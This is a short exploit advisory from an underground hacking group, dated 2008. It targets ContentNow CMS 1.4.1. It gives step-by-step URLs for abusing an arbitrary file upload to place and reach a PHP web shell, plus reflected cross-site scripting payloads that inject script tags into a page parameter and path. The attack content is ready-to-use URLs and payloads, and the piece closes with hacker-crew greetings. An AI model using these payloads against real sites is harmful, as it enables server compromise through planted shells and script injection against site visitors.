=============================================================== ContentNow CMS (Upload/XSS) Multiple Remote Vulnerabilities =============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 6 July 2008 SITE : cwh.citec.us ##################################################### APPLICATION : Content CMS VERSION : 1.4.1 VENDOR : http://www.contentnow.mf4k.de DOWNLOAD : http://downloads.sourceforge.net/contentnow/contentNow_141.zip ##################################################### --- Arbitrary File Upload --- This Vulnerability can upload malicious files direct to web server. [Login as user] [+] Upload Path: http://[Target]/[contentNow_path]/upload.php?path=/[contentNow_path]/upload/ [-] Example: http://192.168.24.25/contentNow/cn/upload.php?path=/contentNow/upload/ [+] Shell Script: http://[Target]/[contentNow_path]/upload/file/[Evil File] [-] Example: http://192.168.24.25/contentNow/upload/file/myshell.php --- Remote XSS Exploit --- ------------- POC Exploit ------------- [+] http://192.168.24.25/contentnow/upload/file/language_menu.php/>"><script>alert("XSS")</script> [+] http://192.168.24.25/contentnow/upload/file/language_menu.php?pageid=>"><script>alert("XSS")</script>&clang=en ################################################################## Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos ##################################################################